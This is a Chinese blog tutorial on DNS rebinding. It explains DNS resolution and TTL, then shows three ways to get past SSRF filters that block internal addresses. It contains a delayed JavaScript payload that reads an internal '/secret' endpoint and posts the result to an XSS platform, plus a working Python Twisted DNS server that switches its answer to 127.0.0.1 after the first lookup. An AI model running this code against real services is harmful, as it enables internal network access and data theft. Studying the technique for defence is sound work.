Ea5ter's Bolg

浅析DNS-rebinding

字数统计: 1.4k阅读时长: 5 min
2018/10/28 Share

DNS 域名解析

在学 DNS rebinding 之前,先来了解下 DNS 服务器的运作过程。

网络通讯大部分是基于TCP/IP的,而TCP/IP是基于IP地址的,所以计算机在网络上进行通讯时只能识别如“202.96.134.133”之类的IP地址,而不能认识域名。我们无法记住10个以上IP地址的网站,所以我们访问网站时,更多的是在浏览器地址栏中输入域名,就能看到所需要的页面,这是因为有一个叫“DNS服务器”的计算机自动把我们的域名“翻译”成了相应的IP地址,然后调出IP地址所对应的网页。

下面这张图,详细说明了一个DNS域名解析的全过程:

整个过程就像数据库查表一样,直到查到域名的IP地址。

然后再说下DNS解析中TTL的概念。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后,请求方会缓存这个关系,缓存保持的时间就是TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。

DNS-rebinding

DNS rebinding 就是通过 DNS 得解析过程实现的。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改通过某种方式对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

下面说几种实现的方法。

实现方法一:特定域名实现

利用场景是,你能向服务器提交一个URL,并且服务器会访问你提交的url。同时服务器会过滤掉访问内网的 IP 。
绕过方法的大致思路是在你的服务器上放一个这样页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
script src=http://*********/static/jquery.min.js ></script>
<script>

setTimeout("POST()",90000)

function POST(){
alert();
$.ajax({
url:"http://www.x.com/secret",
type:"GET",
success: function(data){
$.post("http://你的xss平台",{'a':data})}
}
);
}

</script>

当向目标提交指向这个页面的URL时,会延迟90s。利用这个时间差,修改你域名绑定的IP地址指向内网(127.0.0.1),当目标再次访问你的URL,此时就会访问内网,进而绕过。

不过这种方法需要设置TTL=0,不然目标服务器还是会访问存在本地的外网IP。但现在国内购买的域名大都无法直接将TTL设置为0,例如阿里云的域名,最小的TTL是10分钟。

实现方法二:绑定两条A记录

同一个域名绑定两条A记录。这样解析是随机的。

去撞1/4的概率,即当服务器第一次解析出来是个外网ip,第二次解析出来是个内网ip。

可受与TTL=10的限制,用一次还要等10分钟,感觉稍微有点鸡肋。

实现方法三:自建DNS服务器

通过 python 写出 dns 服务器的代码,有效的控制域名解析,来使第一次访问的是外网,第二次指向内网。

自建服务器的步骤如下:

先在域名解析器上增加一条NS、一条A记录。

NS记录的意思是,将这个域名指向其他的 DNS 服务器解析。这里子域名im.ea5ter.cc是由ns.ea5ter.cc来解析,ns.ea5ter.cc则是由我们的服务器来解析。
然后用python的twisted库中的name模块来搭建我们的dns服务器,这里用的是Bendawang师傅的代码。

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip="149.248.7.164"
        else:
            ip="127.0.0.1"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.listenTCP(53, factory)
    reactor.run()

if __name__ == '__main__':
    raise SystemExit(main())

简单说下如何理解这段代码,main() 这DNS服务器的固定格式,DynamicResolver() 是实现解析的关键。

DynamicResolver 9-17行是判断的核心,其中 query.name.name 是请求的域名,这里我的域名是 im.ea5ter.cc 所以 query.name.name 就是 im.ea5ter.cc 。通过判断一个域名是否重复请求过,来返回IP。

因为 DNS 服务解析的默认端口是 53 ,所以这里reactor.listenUDP(53, protocol)reactor.listenTCP(53, factory)指定的都是 53 号端口。

注意,使用代码前一定要打开TCP和UDP的53号端口!因为这个问题我浪费了一天查资料……再贴上 iptables 打开 UDP 端口的指令:

iptables -A INPUT -p udp –destination-port 53 -j ACCEPT

可以看到连续两次访问ns.ea5ter.cc返回的IP地址发生了改变。

参考资料

Twisted Names 搭建dns服务器:https://twistedmatrix.com/documents/15.0.0/names/howto/custom-server.html

关于DNS-rebinding的总结:http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

一张图看懂DNS域名解析全过程:https://blog.csdn.net/u010555682/article/details/52127451

DNS原理及其解析过程:https://www.cnblogs.com/gopark/p/8430916.html

CentOS 7 使用 iptables:https://my.oschina.net/sallency/blog/467647

CATALOG
  1. 1. DNS 域名解析
  2. 2. DNS-rebinding
    1. 2.1. 实现方法一:特定域名实现
    2. 2.2. 实现方法二:绑定两条A记录
    3. 2.3. 实现方法三:自建DNS服务器
  3. 3. 参考资料